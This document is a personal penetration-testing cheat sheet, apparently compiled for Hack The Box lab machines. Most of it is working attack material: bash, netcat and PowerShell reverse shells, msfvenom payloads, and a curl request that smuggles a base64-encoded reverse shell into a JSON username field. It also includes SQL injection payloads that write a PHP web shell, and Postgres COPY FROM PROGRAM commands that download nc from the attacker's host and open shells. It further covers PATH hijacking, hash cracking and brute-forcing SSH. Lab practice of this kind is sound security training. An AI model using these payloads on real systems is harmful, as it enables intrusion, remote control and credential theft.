Notes

Enumeration

Nmap

nmap -sC -sV --min-rate=1000 -v {TARGET_IP} -o nmap.target -p-

Gobuster

gobuster dir -u http://greenhorn.htb:3000 -w ~/SecLists/Discovery/Web-Content/raft-small-words.txt -o greenhorn.gobuster  

gobuster dir -u http://{IP} -w {PATH}
-U	username
-P	password
-c	cookie

enum4linux

enum4linux {OPTIONS} {TARGET_IP}

-U             get userlist
-M             get machine list
-N             get namelist dump (different from -U and-M)
-S             get sharelist
-P             get password policy information
-G             get group and member list

-a             all of the above (full basic enumeration)

SMBClient

smbclient -L {TARGET_IP} -U {USERNAME}

-N 		no password

~/htb$ smbclient -L 10.129.9.177 -U Administrator
Password for [SAMBA\Administrator]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
SMB1 disabled -- no workgroup available
~/htb$ smbclient \\\\10.129.9.177\\ADMIN$ -U Administrator
Password for [SAMBA\Administrator]:
Try "help" to get a list of possible commands.
smb: \> 

smbclient //[IP]/[SHARE] -U [USER] -p [PORT]

FTP

ftp {IP}

If anonymous login is allowed: username: anonymous password:

Web

Browser:

• View Source Code
• Inspect Element
• Cookies
• Network
• Debugger

Content Discovery:

Manual:

• /robots.txt
• /sitemap.xml
• favicon:		    curl http(s)://[ADDRESS]/favicon | md5sum
 				    http(s)://wiki.owasp.org/index.php/OWASP_favicon_database
• HTTP Headers	    curl http(s)://[ADDRESS] -v

OSINT:

• Google Dorking	        site:, inurl:, filetype:, intitle:
• Wappalyzer
• Wayback Machine
• Github
• S3 Buckets		        http(s)://[NAME].s3.amazonaws.com	[NAME]-assets, [NAME]-www, [NAME]-public, [NAME]-private
• SSL/TSL Certificates	    https://crt.sh
• Sublist3r

Automated:

• wordlists: https://github.com/danielmiessler/SecLists

• ffuf		    ffuf -w [FILEPATH] -u http://[IP]/FUZZ
• dirb		    dirb [IP] [FILEPATH]
• gobuster	    gobuster dir -u [IP] -w [FILEPATH]

ffuf

ffuf -c -w ~/vegla/rockyou.txt -u http://10.10.10.95:8080/cgi/FUZZ.bat -mc all -fc 404

Shells

Bash Reverse Shell

bash -i >& /dev/tcp/10.10.14.4/9000 0>&1

Base64:

echo "bash -i >& /dev/tcp/10.10.14.136/9000 0>&1" | base64

Netcat

nc -lvnp [PORT] -e /bin/bash

Powershell:

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>', <port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

msfvenom

msfvenom -p [PAYLOAD] [OPTIONS]
msfvenom -p [OS]/[ARCH]/[PAYLOAD]	// staged: /shell/reverse_tcp | stageless: /shell_reverse_tcp
msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=[LISTENING-IP] LPORT=[LISTENING-PORT]

Stabilizing

• /usr/bin/python3 -c ‘import pty;pty.spawn("/bin/bash")’
• export TERM=xterm
• CTRL + Z
• stty raw -echo; fg	// On attacking (host) box

rlwrap

• rlwrap nc -lvnp [PORT]
• CTRL + Z
• stty raw -echo; fg	// On attacking box

Privilege Escalation

Linux

LinEnum

https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh

SUID Binaries

find / -perm -u=s -type f 2>/dev/null

/etc/passwd

test:x:0:0:root:/root:/bin/bash
username:password:userid(UID):groupid(GID):uidInfo:homedir:shell

sudo -l

https://gtfobins.github.io/

To see groups:

id

crontab

# m h dom mon dow user command

PATH

cd /tmp
echo “/bin/bash” > ls
chmod +x ls
export PATH=/tmp:$PATH

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:$PATH	// Reset

Windows

  • winPEAS
  • whoami /priv
  • SeImpersonate
  • icacls [file name] to check file privileges (for example on a .bat script) looking for BUILTIN\Users
  • schtasks to see currently scheduled tasks
  • Use powershell to wget nc64.exe

Network

Port numbers:

ss -tln

Services:

ss -tl

Processes:

ss -tlpn
netstat -tlpn

Port Forwarding

ssh -L {LOCAL_PORT}:{TARGET_IP}:{REMOTE_PORT} {USER}@{TARGET_IP}
ssh -L 9000:10.129.228.195:5432 christine@10.129.228.195

Add Host

echo "{TARGET_IP} {TARGET_HOSTNAME}" | sudo tee -a /etc/hosts

cURL

~$ curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=bjvqf8923m0ac1o7glukt2a2fp" --header "Content-Type: application/json" --data '{"username":"ssilatel;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMzYvODAwMCAwPiYxCg== | base64 -d | bash;"}'

Passwords

Hashcat

For finding encryption ID:

hashcat -h | grep bcrypt

For cracking (use -o flag to output password to file):

hashcat -m 3200 -a 0 pass.hash ~/usr/share/rockyou.txt 

For seeing the passwords (without -o flag):

hashcat --show pass.hash 

Find encoding

https://dcode.fr/en/cipher-identifier

Login

hashid

Used for identifying hashes

Hydra

For SSH:

hydra -L usernames.txt -p 'funnel123#!#' {TARGET_IP} ssh

John

john [OPTIONS] [FILEPATH]
john --format=[FORMAT] --wordlist=[PATH] [FILEPATH]
john --list=formats			// To list formats
john --single				// Single hash cracking mode

zip2john [options] [zip file] > [output file]
rar2john [rar file] > [output file]
ssh2john [id_rsa private key file] > [output file]

john --show [file]

/etc/shadow hashes
unshadow [PATH TO passwd] [PATH TO shadow]

SQLi

  • Try ' UNION SELECT 1, 2, 3, 4 to see how many columns are being shown (until you stop getting the error that says column number is wrong).
  • Then try replacing all the field names with NULL and then one by one trying integers or strings (use single quotes for PostgreSQL strings)
  • Try replacing the columns with a string such as 'visible' to see which ones are reflected back to the page.
' UNION SELECT 1,2,3,4 --
' UNION SELECT 1,'test',3,4 -- 
' UNION SELECT 1,database(),3,4 -- 
' UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database() --
' UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_name='users' --
' UNION SELECT 1,username,password,4 FROM users --

Blind
' AND (SELECT SUBSTRING((SELECT database()),1,1))='a' --

Error based
' AND 1=CAST((SELECT database()) AS INT) --
  • Can also use ORDER BY to find the number of columns first.
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --
  • After finding which ones are reflected, you can use database() for MySQL and current_database() for PostgreSQL to find the database name.
' UNION SELECT 1, current_database(), 'visible3', 'visible4', 'visible5' --
  • Then replace the database name with the table_name and add FROM information_schema.tables WHERE table_schema='public' -- to see tables information.
' UNION SELECT 1, table_name, NULL, NULL, NULL FROM information_schema.tables WHERE table_schema = 'public' AND table_type = 'BASE TABLE' --

For PostgreSQL you can also use:
' UNION SELECT 1, tablename, NULL, NULL, NULL FROM pg_tables WHERE schemaname = 'public' --
  • Once you have the table name, use the same method to enumerate the table columns, using column_name and information_schema.columns WHERE table_name=[table].
' UNION SELECT 1, column_name, NULL, NULL, NULL FROM information_schema.columns WHERE table_name = 'your_table_name' --
  • In PostgreSQL you can try a sleep based payload to check for file write capabilites (if there’s a delay it means we have the ability to run commands)
' UNION SELECT 1,pg_catalog.pg_sleep(5),NULL,NULL,NULL -- 
  • Attempting to write to a file
' UNION SELECT 1,pg_catalog.pg_write_file('/var/www/html/shell.php', '<?php system($_GET["cmd"]); ?>'),NULL,NULL,NULL --

(assuming you have the correct root path). Then navigate to [URL]/shell.php?cmd=whoami

  • Attempting command execution
' UNION SELECT 1,pg_catalog.pg_execute('ls /'),NULL,NULL,NULL --
  • Time based injection
' OR pg_sleep(5) OR '1'='1 --

Vaccine SQLi

  1. Use ' to determine if SQLi is possible
http://10.129.122.60/dashboard.php?search='

We get an error back which means it is.

  1. Use ORDER BY to find out how many columns there are
a' ORDER BY 6 --

6 gives us an error back. 5 shows no errors so there’s 5 columns.

  1. Use UNION SELECT statement to find the fields.
a' UNION SELECT 1, 'name', 'type', 'fuel', 'engine' --

We now know the first field is an integer and the rest are strings.

  1. Now we get the DBMS version:
a' UNION SELECT 1, version(), 'type', 'fuel', 'engine' --

Then we follow this guide for Postgres command execution: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5

RCE steps from link

  1. [Optional] Drop the table you want to use if it already exists
a'; DROP TABLE IF EXISTS cmd_exec; --
  1. Create the table you want to hold the command output
a'; CREATE TABLE cmd_exec(cmd_output text); --
  1. Run the system command via the COPY FROM PROGRAM function
a'; COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.14.77/9000 0>&1"'; --
  1. This didn’t work so I did:
a'; DROP TABLE IF EXISTS cmd_exec724; --
a'; CREATE TABLE cmd_exec724(cmd_output text); --
a'; COPY cmd_exec724 FROM PROGRAM 'wget -P /tmp/724 http://10.10.14.77:8000/nc' --
a'; COPY cmd_exec724 FROM PROGRAM 'chmod 777 /tmp/724/nc' --
a'; COPY cmd_exec724 FROM PROGRAM '/tmp/724/nc 10.10.14.77 9000 -e /bin/bash'

Notes

database() for MySQL current_database() for PostgreSQL

Binary Exploitation

  • file
  • checksec –file=[binary name]
  • strings [binary name]
  • objdump -M intel -d [binary name]
  • objdump -t [binary name]
  • hexdump -C [binary name]
  • strace ./[binary name]

GDB

gdb -q [binary]

set disassembly-flavor intel
disassemble main

x/wx $esp
si
x/wx $esp

disassemble

i r ebp
i r esp
i r eax
p $ebp - $eax